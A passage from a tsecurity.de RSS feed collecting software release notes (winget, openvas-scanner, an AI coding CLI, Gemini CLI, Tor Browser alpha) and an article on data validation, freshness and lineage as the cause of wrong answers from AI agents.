<li>Undo normalization of external files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753826668" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6336" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6336/hovercard" href="https://github.com/microsoft/winget-cli/pull/6336">#6336</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.29.240...v1.30.70-preview"><tt>v1.29.240...v1.30.70-preview</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v23.50.1]]></title>
<description><![CDATA[23.50.1 - 2026-07-22
Bug Fixes

Missing impacket-wmiexec binary in openvasd container (#2294) cb8f063c
keep script stats timestamps ordered (#2290) 99720b20]]></description>
<link>https://tsecurity.de/de/3687686/downloads/v23501/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687686/downloads/v23501/</guid>
<pubDate>Thu, 23 Jul 2026 00:08:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/greenbone/openvas-scanner/compare/v23.50.0...v23.50.1">23.50.1</a> - 2026-07-22</h2>
<h2>Bug Fixes</h2>
<ul>
<li>Missing impacket-wmiexec binary in openvasd container (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951152607" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2294" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2294/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2294">#2294</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/cb8f063c">cb8f063c</a></li>
<li>keep script stats timestamps ordered (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931608521" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2290" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2290/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2290">#2290</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/99720b20">99720b20</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.218]]></title>
<description><![CDATA[What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U,...]]></description>
<link>https://tsecurity.de/de/3687638/downloads/v21218/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687638/downloads/v21218/</guid>
<pubDate>Wed, 22 Jul 2026 23:32:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>/code-review</code> to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target</li>
<li>Added screen-reader announcements of deleted text for word and line deletions (<code>Option+Delete</code>, <code>Ctrl+W</code>, <code>Cmd+Backspace</code>, <code>Ctrl+U</code>, <code>Ctrl+K</code>) in <code>--ax-screen-reader</code> mode</li>
<li>Fixed Windows paths with <code>\u</code>-prefixed segments (like <code>C:\Users\unicorn</code>) being corrupted into CJK characters in tool inputs, which made those files inaccessible</li>
<li>Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed multi-line paste collapsing into one line with <code>j</code> in place of newlines in terminals that encode pasted newlines as Ctrl+J</li>
<li>Fixed <code>/context</code> reporting stale pre-compact token usage after compacting from the message picker</li>
<li>Fixed <code>/ultrareview</code> failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings</li>
<li>Fixed <code>/code-review ultra</code> silently running a local review in non-interactive sessions — it now launches the cloud review</li>
<li>Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates</li>
<li>Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped</li>
<li>Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected</li>
<li>Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired <code>tool_use</code> block left in the transcript when a tool aborted mid-response</li>
<li>Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in <code>--ax-screen-reader</code> mode</li>
<li>Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation</li>
<li>Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees</li>
<li>Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR</li>
<li>Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks</li>
<li>Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock</li>
<li>Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai</li>
<li>Fixed prompt history entries being dropped or duplicated when history writes raced or failed</li>
<li>Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; <code>Ctrl+B</code> backgrounding now applies the same background-shell caps as other paths</li>
<li>Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust</li>
<li>Fixed fork-session lineage being lost after compaction in headless and SDK sessions</li>
<li>Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment</li>
<li>Improved <code>/ultrareview</code> error feedback so Claude can correct an invalid argument instead of retrying it unchanged</li>
<li>Improved auto mode: the dangerous-rm, background-<code>&amp;</code>, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead</li>
<li>Improved sandbox command restrictions for IDE interactions</li>
<li>Improved trust dialogs to name the repository root the grant covers</li>
<li>Changed <code>/deep-research</code> to start only when invoked manually; Claude no longer launches it on its own</li>
<li>Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead</li>
<li>Added an announcement when fast mode changes as a result of switching models via <code>/config model=&lt;x&gt;</code> or Remote Control</li>
<li>Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt</li>
<li>Changed agent markdown files to reject agent names containing <code>:</code>, which is reserved for plugin namespacing</li>
<li>Changed skills with <code>context: fork</code> to run in the background by default; opt out per skill with <code>background: false</code></li>
<li>Added <code>yes</code>/<code>no</code>/<code>on</code>/<code>off</code>/<code>1</code>/<code>0</code> (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside <code>true</code>/<code>false</code></li>
<li>Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0]]></title>
<description><![CDATA[What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @cha...]]></description>
<link>https://tsecurity.de/de/3687569/downloads/release-v0520/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687569/downloads/release-v0520/</guid>
<pubDate>Wed, 22 Jul 2026 22:53:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Refactor: exclude transient CI configuration files from workspace context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771753114" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28216" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28216/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28216">#28216</a></li>
<li>feat(caretaker-triage): add triage worker core foundational modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753861958" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28163" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28163/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28163">#28163</a></li>
<li>feat(caretaker-egress): implement octokit github action handler for egress service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830419267" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28303">#28303</a></li>
<li>chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840274631" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28323" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28323/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28323">#28323</a></li>
<li>Changelog for v0.51.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839873704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28320" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28320/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28320">#28320</a></li>
<li>Changelog for v0.50.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840167585" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28322" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28322/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28322">#28322</a></li>
<li>fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780686006" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28223" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28223/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28223">#28223</a></li>
<li>fix(core): use unambiguous previous intent label in fallback summary by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848950194" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28343" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28343/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28343">#28343</a></li>
<li>feat(caretaker-triage): implement main worker execution loop and egress action publisher by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832842460" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28306" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28306/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28306">#28306</a></li>
<li>fix(privacy): show a clear message when the account has no Code Assist tier by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830501064" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28304" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28304/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28304">#28304</a></li>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.51.0...v0.52.0"><tt>v0.51.0...v0.52.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alpha Release: Tor Browser 16.0a8]]></title>
<description><![CDATA[Tor Browser 16.0a8 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3687537/it-security-tools/new-alpha-release-tor-browser-160a8/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687537/it-security-tools/new-alpha-release-tor-browser-160a8/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a8/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a8/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-alpha-release-tor-browser-160a8/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 16.0a8 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a8/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>Send us your feedback</h2>
<p>If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a7 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.25.90301984</li>
<li>Updated Tor to 0.4.9.11</li>
<li>Updated OpenSSL to 3.5.7</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44857">Bug tor-browser#44857</a>: Drop <code>browser.display.use_system_colors</code> from our preference list</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44896">Bug tor-browser#44896</a>: Review Mozilla 2030929: Remove unused pref privacy.partition.network_state</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45018">Bug tor-browser#45018</a>: resistfingerprinting not available in appearance.mjs in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45019">Bug tor-browser#45019</a>: ReportBrokenSite startup error in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45047">Bug tor-browser#45047</a>: Cross-site oracle via worklet rejection error in Safer Mode</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45072">Bug tor-browser#45072</a>: Disable XSLT already for 16.0</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 152.0a1</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44528">Bug tor-browser#44528</a>: Make sure desktop IP Protection is disabled on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44795">Bug tor-browser#44795</a>: Revert BB 27604 patch as not needed anymore</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44844">Bug tor-browser#44844</a>: Use new urlbar CSS variables</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44888">Bug tor-browser#44888</a>: Use <code>--button-opacity-disabled</code> for disabled styling.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44955">Bug tor-browser#44955</a>: Use <code>context-fill</code> for <code>about-wordmark.svg</code></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44956">Bug tor-browser#44956</a>: Switch colours in letterboxing setting icons to match the tab-alignment icons</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45016">Bug tor-browser#45016</a>: Several errors about EngineProcess.sys.mjs in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45017">Bug tor-browser#45017</a>: Wrong letterboxing background in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45037">Bug tor-browser#45037</a>: Potential runtime errors in the search service when changing JS status</li>
